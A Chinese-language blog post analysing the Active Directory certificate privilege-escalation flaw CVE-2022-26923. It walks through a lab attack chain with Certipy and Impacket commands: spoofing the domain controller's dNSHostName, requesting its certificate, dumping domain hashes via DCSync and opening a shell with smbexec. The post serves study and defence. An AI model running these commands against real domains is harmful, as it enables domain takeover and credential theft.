2022 年 5 月 10 日,微软发布补丁修复了一个 Active Directory 域权限提升漏洞(CVE-2022–26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了 Active Directory 证书服务(AD CS)服务器角色的 Active Directory 环境中将权限提升至域管理员。这一漏洞最早由安全研究员 Oliver Lyak(@ly4k_)在 2021 年 12 月 14 日通过 Zero Day Initiative 向微软报告,Microsoft 在 2022 年 5 月的安全更新中对其进行了修补。
# 漏洞背景
在 2021 年的 BlackHat 大会上,Lee Christensen(@tifkin_)和 Will Schroeder(@harmj0y)发布了名为 《Certified Pre-Owned - Abusing Active Directory Certificate Services》 的白皮书,详细介绍了关于 Active Directory Certificate Services 的滥用方法,关于 Active Directory 证书服务的攻击方法第一次系统性的进入我们的视野。
## Active Directory 证书服务
Active Directory 证书服务(Active Directory Certificate Services,AD CS),是 Microsoft 对 PKI 的实现,它与现有的 Active Directory 森林集成,并提供从加密文件系统到数字签名,再到客户端身份验证(本文的重点)等一切功能。虽然默认情况下没有为 Active Directory 环境安装 AD CS,但它如今已被广泛部署在各大企业和组织中。
PKI 是一个术语,有些地方会采用中文的表述——公钥基本结构,用来实现证书的产生、管理、存储、分发和撤销等功能。我们可以把他理解成是一套解决方案,这套解决方案里面需要有证书颁发机构,有证书发布,证书撤掉等功能。
## Active Directory 证书注册流程
要从 AD CS 获取证书,客户端需要经过⼀个称为注册的过程。概括地说,在注册期间,客户端⾸先根据活动目录 Enrollment Services 容器中的对象找到企业 CA。然后,客户端⽣成⼀个公钥/私钥对,并将公钥、证书主题和证书模板名称等其他详细信息⼀起放⼊证书签名请求(CSR)消息中。然后,客户端使⽤其私钥签署 CSR,并将 CSR 发送到企业 CA 服务器。CA 服务器检查客户端是否可以请求证书。如果是,它会通过查找 CSR 中指定的证书模板 AD 对象来确定是否会颁发证书。CA 将检查证书模板 AD 对象的权限是否允许该账户获取证书。如果是,CA 将使用证书模板定义的 “蓝图” 设置(例如,EKU、加密设置和颁发要求等)并使用 CSR 中提供的其他信息(如果证书的模板设置允许)生成证书。CA 使用其私钥签署证书,然后将其返回给客户端。
CA 颁发的证书可以提供加密(例如,加密⽂件系统)、数字签名(例如,代码签名)和⾝份验证(例如,对 AD)等多种服务,但本⽂将主要关注证书在客户端⾝份验证方面。
了解更多细节,请读者自行参考前文中提到的《Certified Pre-Owned》白皮书。笔者也曾对其中的技术进行翻译和记录,感兴趣的读者可以阅读我的博客:《Attack Surface Mining For AD CS》
## 使用 AD CS 证书进行客户端身份验证
下面,让我们来简单演示一下如何在 Active Directory 中使用证书进行身份验证,这里我们直接使用漏洞作者开源的 Certipy 工具。
首先通过 Certipy 在 Marcus 用户的上下文中指定证书模板,为该用户申请证书,生成的证书将保存在 .pfx 格式的文件中,如下图所示。
certipy req pentest.com/Marcus:Marcus\@123@adcs.pentest.com -ca 'pentest-ADCS-CA-2' -template 'User'
然后,我们可以使用颁发的证书对 KDC 进行 PKINIT Kerberos 身份验证,并获取该用户的 TGT 票据,如下图所示。
certipy auth -pfx marcus.pfx -username Marcus -domain pentest.com -dc-ip 172.26.10.11
# 漏洞分析
默认情况下,域用户可以注册 User 证书模板,域计算机可以注册 Machine 证书模板。两个证书模板都允许客户端身份验证。
当用户账户申请 User 模板证书时,用户帐户的用户主体名称(User Principal Name,UPN)将嵌入到证书中以进行识别。当我们使用证书进行身份验证时,KDC 会尝试将 UPN 从证书映射到目标用户。User 证书模板的 msPKI-Certificate-Name-Flag
属性存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
标志位,其指示 CA 将来自 Active Directory 中请求者用户对象的 UPN 属性值添加到已颁发证书的主题备用名称中。
根据微软的 “MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints)” 规范,UPN 必须是唯一的,这意味着不能同时有两个具有相同 UPN 的用户。例如,如果我们尝试将域用户 William 的 UPN 更改为Marcus@pentest.com
,这将引发一个约束冲突,如下图所示。因为 Marcus@pentest.com
这个 UPN 已经被 Marcus 用户独占。
## dNSHostName
值得注意的是,计算机账户是没有 UPN 属性的,那么计算机在使用证书进行身份验证时,是靠什么识别认证账户的呢?当我们查看微软官方文档时,会发现证书模板的 msPKI-Certificate-Name-Flag
属性还存在一个 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS
标志位,其指示 CA 将从 Active Directory 中请求者用户对象的 DNS 属性获得的值添加到已颁发证书的主题备用名称中。
也就是说,当计算机账户申请证书时,计算机的 DNS 属性值将被嵌入到证书中以进行识别。
为了进一步验证,我们使用 Marcus 用户在域内创建一个名为 PENTEST$
,密码为 Passw0rd 的计算机账户,并为这个 PENTEST$
账户申请 AD CS 证书,如下图所示。
# 通过 Impacket 套件添加计算机账户 PENTEST$
python3 addcomputer.py pentest.com/Marcus:Marcus\@123 -method LDAPS -computer-name PENTEST\$ -computer-pass Passw0rd -dc-ip dc01.pentest.com
# 通过 Certipy 为 PENTEST$ 账户申请证书
certipy req pentest.com/PENTEST\$:Passw0rd@adcs.pentest.com -ca 'pentest-ADCS-CA-2' -template 'Machine'
从执行结果中可以看到,证书 pentest.pfx 是使用 PENTEST$
的 DNS 主机名 PENTEST.pentest.com
颁发的。如果在 Active Directory 查看计算机帐户 PENTEST$
,我们可以注意到这个 DNS 主机名在 dNSHostName
属性中定义,如下图所示。
看到这里您可能已经明白这个漏洞产生的具体原因了,如果我们将 PENTEST$
账户的 dNSHostName
值改为与域控制器的计算机账户相同的 dNSHostName
值,那么是否意味着我们可以欺骗 AD CS,并最终申请到域控制器的 AD 证书呢?事实证明这的确是可以的。
如果我们阅读 “MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints)” 文档,其中并没有提及计算机帐户的 dNSHostName
属性必须是唯一的。并且,对于计算机账户的创建者来说,他们拥有对目标计算机的 “Validated write to computer attributes” 权限,也就是说计算机账户的创建对计算机对象的 AD 属性具有写入权限。综上所述,我们完全可以在 Marcus 用户的上下文中,将 PENTEST$
账户的 dNSHostName
属性值改为域控制器的 DNS 主机名(在我的测试环境中,域控的 DNS 主机名为 DC01.pentest.com
)。
但是,当我们实际操作时,将引发一个为止的操作错误,如下图所示。这里的错误不同于前文中更改 William 用户的 UPN 时引发的错误。
## servicePrincipalName
回顾 2021 年微软披露的 noPac 域内提权漏洞,其允许攻击者修改计算机账户的 sAMAccountName
属性来冒充域控制器,并获得针对域控制器上服务的高权限票据。但是实际利用中,在修改 sAMAccountName
属性值的之前,我们需要预先清除掉计算机账户的 servicePrincipalName
属性。这是因为 sAMAccountName
属性与 servicePrincipalName
属性相关联,servicePrincipalName
属性存储了该账户所注册的服务主体名称(Service Principal Names,SPN),在修改 samAccountName
值的时候 servicePrincipalName
将使用 samAccountName
的新值自动更新。
同样,dNSHostName
属性也与 servicePrincipalName
属性相关联。如果我们修改 PENTEST$
账户的 dNSHostName
属性值,那么 PENTEST$
账户的 servicePrincipalName
属性中默认的 RestrictedKrbHost/PENTEST.pentest.com
和 HOST/PENTEST.pentest.com
这两条 SPN 将使用新的 DNS 主机名更新。
由于前文中我们尝试将 PENTEST$
账户的 dNSHostName
属性值改为 DC01.pentest.com
,那么这两条 SPN 将自动更新为 RestrictedKrbHost/DC01.pentest.com
和 HOST/DC01.pentest.com
,而这两条 SPN 已被域控制器的 servicePrincipalName
属性所独占。根据 “MS-ADTS (3.1.1.5.1.3 Uniqueness Constraints)” 文档中所描述的,servicePrincipalName
属性具有唯一性,所以将与 DC01$
的 servicePrincipalName
属性引发约束冲突。
因此,在修改 dNSHostName
属性时,我们需要预先删除 PENTEST$
账户中包含 dNSHostName
的 servicePrincipalName
属性值,如下图所示。
然后再次尝试将 PENTEST$
账户的 dNSHostName
属性值改为 DC01.pentest.com
,如下图所示,修改成功。
## 为域控申请证书
到此为止,如果我们以计算机账户 PENTEST$
的身份申请 Machine 模板证书,PENTEST$
的 dNSHostName
属性值将嵌入到证书中作为主题备用名称。由于 PENTEST$
的 dNSHostName
属性值已被修改为 DC01.pentest.com
,因此将为我们颁发域控制器的计算机账户的证书,如下图所示。
certipy req pentest.com/PENTEST\$:Passw0rd@adcs.pentest.com -ca 'pentest-ADCS-CA-2' -template 'Machine'
接着,我们通过颁发的证书对 KDC 进行 PKINIT Kerberos 身份验证,并获取域控制器账户的 TGT 票据,如下图所示。
certipy auth -pfx dc01.pfx -username DC01\$ -domain pentest.com -dc-ip 172.26.10.11
由于域控制器账户拥有所需特权,我们可以设置环境变量 KRB5CCNAME
,通过 Impacket 套件中的 secretsdump.py 使用该票据,并执行 DCSync 来转储域用户哈希,如下图所示。
export KRB5CCNAME=/root/dc01.ccache
python3 secretsdump.py -k pentest.com/dc01\$@dc01.pentest.com -no-pass -just-dc
此外,我们可以通过 Kerberos 的 S4U2Self 扩展协议,使用已获取的域控 TGT 为域管理员用户申请针对域控上其他服务的的 ST 票据。这里我们借助 Dirk-jan Mollema(@dirkjanm)的 PKINITtools 工具来操作,请求的是域控制器的 CIFS 服务,相关命令如下:
python3 gets4uticket.py kerberos+ccache://pentest.com\\dc01\$:dc01.ccache@dc01.pentest.com cifs/dc01.pentest.com@pentest.com Administrator@pentest.com Administrator.ccache -v
然后,我们可以通过设置环境变量 KRB5CCNAME
来使用获取到的 Administrator 用户的票据,并通过 smbexec.py 获取域控制器的最高权限,相关命令如下。
export KRB5CCNAME=/root/PKINITtools/Administrator.ccache
python3 smbexec.py -k pentest.com/Administrator@dc01.pentest.com -no-pass
## Ending……
参考文献:
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://whoamianony.top/attack-surface-mining-for-ad-cs/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1